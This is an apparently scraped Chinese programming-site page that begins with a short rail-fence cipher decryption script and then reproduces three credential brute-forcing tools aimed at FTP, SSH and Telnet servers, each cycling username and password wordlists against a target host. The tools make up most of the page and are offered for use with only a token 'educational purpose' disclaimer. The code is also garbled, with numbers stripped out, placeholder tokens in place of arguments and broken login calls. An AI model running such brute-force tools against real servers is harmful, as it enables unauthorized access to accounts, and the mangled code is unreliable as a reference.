今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。
方法一(通用脚本):
#!/usr/bin/env python # -*- Coding: gbk -*- # -*- Coding: utf_ -*- e = raw_input(‘请输入要解密的字符串\n‘) elen = len(e) fIEld=[] for i in range(,elen): if(elen%i==): fIEld.append(i) for f in fIEld: b = elen / f result = {x:‘‘ for x in range(b)} for i in range(elen): a = i % b; result.update({a:result[a] + e[i]}) d = ‘‘ for i in range(b): d = d + result[i] print ‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为: ‘+d
方法二:
FTP暴力破解脚本
#!/usr/bin/env python#-*-Coding = utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--import sys,os,timefrom ftplib import FTPdocs = """ [*] This was written for educational purpose and pentest only. Use it at your own risk. [*] Author will be not responsible for any damage! [*] Toolname : ftp_bf.py [*] Coder : [*] Version : . [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt """if sys.platform == 'linux' or sys.platform == 'linux': clearing = 'clear'else: clearing = 'cls'os.system(clearing)R = "\[m";G = "\[m";Y = "\[m"END = "\[m"def logo(): print G+"\n |---------------------------------------------------------------|" print " | |" print " | blog.sina.com.cn/kaiyongdeng |" print " | // ftp_bf.py v.. |" print " | FTP Brute Forcing Tool |" print " | |" print " |---------------------------------------------------------------|\n" print " \n [-] %s\n" % time.strftime("%X") print docs+ENDdef help(): print R+"[*]-t,--target ip/hostname <> Our target" print "[*]-u,--usernameList usernameList <> usernameList path" print "[*]-p,--passwordList passwordList <> passwordList path" print "[*]-h,--help help <> print this help" print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit()def bf_login(hostname,username,password): # sys.stdout.write("\r[!]Checking : %s " % (p)) # sys.stdout.flush() try: ftp = FTP(hostname) ftp.login(hostname,password) ftp.retrlines('List') ftp.quit() print Y+"\n[!] wt,wt!!! We dID it ! " print "[+] Target : ",hostname,"" print "[+] User : ","" print "[+] Password : ",password,""+END return # sys.exit() except Exception,e: pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END sys.exit()def anon_login(hostname): try: print G+"\n[!] Checking for anonymous login.\n"+END ftp = FTP(hostname) ftp.login() ftp.retrlines('List') print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END ftp.quit() except Exception,e: print R+"\n[-] Anonymous login Failed...\n"+END passdef main(): logo() try: for arg in sys.argv: if arg.lower() == '-t' or arg.lower() == '--target': hostname = sys.argv[int(sys.argv[:].index(arg))+] elif arg.lower() == '-u' or arg.lower() == '--usernameList': usernameList = sys.argv[int(sys.argv[:].index(arg))+] elif arg.lower() == '-p' or arg.lower() == '--passwordList': passwordList = sys.argv[int(sys.argv[:].index(arg))+] elif arg.lower() == '-h' or arg.lower() == '--help': help() elif len(sys.argv) <= : help() except: print R+"[-]Cheak your paraMetars input\n"+END help() print G+"[!] BruteForcing target ..."+END anon_login(hostname) # print "here is ok" # print hostname try: usernames = open(usernameList,"r") user = usernames.readlines() count = while count < len(user): user[count] = user[count].strip() count += except: print R+"\n[-] Cheak your usernameList path\n"+END sys.exit() # print "here is ok ",usernameList,passwordList try: passwords = open(passwordList,"r") pwd = passwords.readlines() count = while count < len(pwd): pwd[count] = pwd[count].strip() count += except: print R+"\n[-] Check your passwordList path\n"+END sys.exit() print G+"\n[+] Loaded:",len(user),"usernames" print "\n[+] Loaded:",len(pwd),"passwords" print "[+] Target:",hostname print "[+] Guessing...\n"+END for u in user: for p in pwd: result = bf_login(hostname,u.replace("\n",""),p.replace("\n","")) if result != : print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"disenable"+END else: print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END if not result : print R+"\n[-]There is no username ans password enabled in the List." print "[-]Exiting...\n"+ENDif __name__ == "__main__": main()
SSH暴力破解
#!/usr/bin/env python#-*-Coding = UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimport sysimport osimport time#from threading import Threadtry: from paramiko import SSHClIEnt from paramiko import autoAddPolicyexcept importError: print G+''' You need paramiko module.http://www.lag.net/paramiko/ Debian/Ubuntu: sudo apt-get install aptitude : sudo aptitude install python-paramiko\n'''+END sys.exit()docs = """ [*] This was written for educational purpose and pentest only. Use it at your own risk. [*] Author will be not responsible for any damage! [*] Toolname : ssh_bf.py [*] Author : xfk [*] Version : v.. [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U usersList] [-W wordList] [-H help] """if sys.platform == 'linux' or sys.platform == 'linux': clearing = 'clear'else: clearing = 'cls'os.system(clearing)R = "\[m";G = "\[m";Y = "\[m"END = "\[m"def logo(): print G+"\n |---------------------------------------------------------------|" print " | |" print " | blog.sina.com.cn/kaiyongdeng |" print " | // ssh_bf.py v.. |" print " | SSH Brute Forcing Tool |" print " | |" print " |---------------------------------------------------------------|\n" print " \n [-] %s\n" % time.ctime() print docs+ENDdef help(): print Y+" [*]-H --hostname/ip <>the target hostname or ip address" print " [*]-P --port <>the ssh service port(default is )" print " [*]-U --usernameList <>usernames List file" print " [*]-P --passwordList <>passwords List file" print " [*]-H --help <>show help information" print " [*]Usage:python %s [-T target] [-P port] [-U usersList] [-W wordList] [-H help]"+END sys.exit()def BruteForce(hostname,port,password): ''' Create SSH connection to target ''' ssh = SSHClIEnt() ssh.set_missing_host_key_policy(autoAddPolicy()) try: ssh.connect(hostname,pkey=None,timeout = None,allow_agent=False,look_for_keys=False) status = 'ok' ssh.close() except Exception,e: status = 'error' pass return statusdef makeList(file): ''' Make usernames and passwords Lists ''' items = [] try: fd = open(file,'r') except IOError: print R+'unable to read file \'%s\'' % file+END pass except Exception,e: print R+'unkNown error'+END pass for line in fd.readlines(): item = line.replace('\n','').replace('\r','') items.append(item) fd.close() return itemsdef main(): logo() # print "hello wold" try: for arg in sys.argv: if arg.lower() == '-t' or arg.lower() == '--target': hostname = str(sys.argv[int(sys.argv[:].index(arg))+]) if arg.lower() == '-p' or arg.lower() == '--port': port = sys.argv[int(sys.argv[:].index(arg))+] elif arg.lower() == '-u' or arg.lower() == '--userList': userList = sys.argv[int(sys.argv[:].index(arg))+] elif arg.lower() == '-w' or arg.lower() == '--wordList': wordList = sys.argv[int(sys.argv[:].index(arg))+] elif arg.lower() == '-h' or arg.lower() == '--help': help() elif len(sys.argv) <= : help() except: print R+"[-]Cheak your paraMetars input\n"+END help() print G+"\n[!] BruteForcing target ...\n"+END# print "here is ok"# print hostname,wordList,userList usernameList = makeList(userList) passwordList = makeList(wordList) print Y+"[*] SSH Brute Force Praparing." print "[*] %s user(s) loaded." % str(len(usernameList)) print "[*] %s password(s) loaded." % str(len(passwordList)) print "[*] Brute Force Is Starting......."+END try: for username in usernameList: for password in passwordList: print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END current = BruteForce(hostname,password) if current == 'error': print R+"[-]O*O The username:%s and password:%s Is disenbabled...\n" % (username,password)+END# pass else: print G+"\n[+] ^-^ HaHa,We Got It!!!" print "[+] username: %s" % username print "[+] password: %s\n" % password+END# sys.exit() except: print R+"\n[-] There Is Something Wrong,Pleace Cheak It." print "[-] Exitting.....\n"+END raise print Y+"[+] Done.^-^\n"+END sys.exit()if __name__ == "__main__": main()
TELNET密码暴力破解
#!usr/bin/python#Telnet Brute Forcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimport threading,time,random,sys,telnetlibfrom copy import copyif len(sys.argv) !=: print "Usage: ./telnetbrute.py <server> <userList> <wordList>" sys.exit()try: users = open(@R_419_3374@,"r").readlines()except(IOError): print "Error: Check your userList path\n" sys.exit()try: words = open(@R_419_3374@,"r").readlines()except(IOError): print "Error: Check your wordList path\n" sys.exit()print "\n\t dhydr[at]gmail[dot]com TelnetBruteForcer v."print "\t--------------------------------------------------\n"print "[+] Server:",@R_419_3374@print "[+] Users Loaded:",len(users)print "[+] Words Loaded:",len(words),"\n"wordList = copy(words)def reloader(): for word in wordList: words.append(word)def getword(): lock = threading.Lock() lock.acquire() if len(words) != : value = random.sample(words,) words.remove(value[]) else: print "\nReloading WordList - Changing User\n" reloader() value = random.sample(words,) users.remove(users[]) lock.release() if len(users) ==: return value[][:-],users[] else: return value[][:-],users[][:-]class Worker(threading.Thread): def run(self): value,user = getword() try: print "-"* print "User:",user,"Password:",value tn = telnetlib.Telnet(@R_419_3374@) tn.read_until("login: ") tn.write(user + "\n") if password: tn.read_until("Password: ") tn.write(value + "\n") tn.write("ls\n") tn.write("exit\n") print tn.read_all() print "\t\nLogin successful:",value,user tn.close() work.join() sys.exit() except: passfor I in range(len(words)*len(users)): work = Worker() work.start() time.sleep()总结
以上是内存溢出为你收集整理的Python脚本暴力破解栅栏密码全部内容,希望文章能够帮你解决Python脚本暴力破解栅栏密码所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)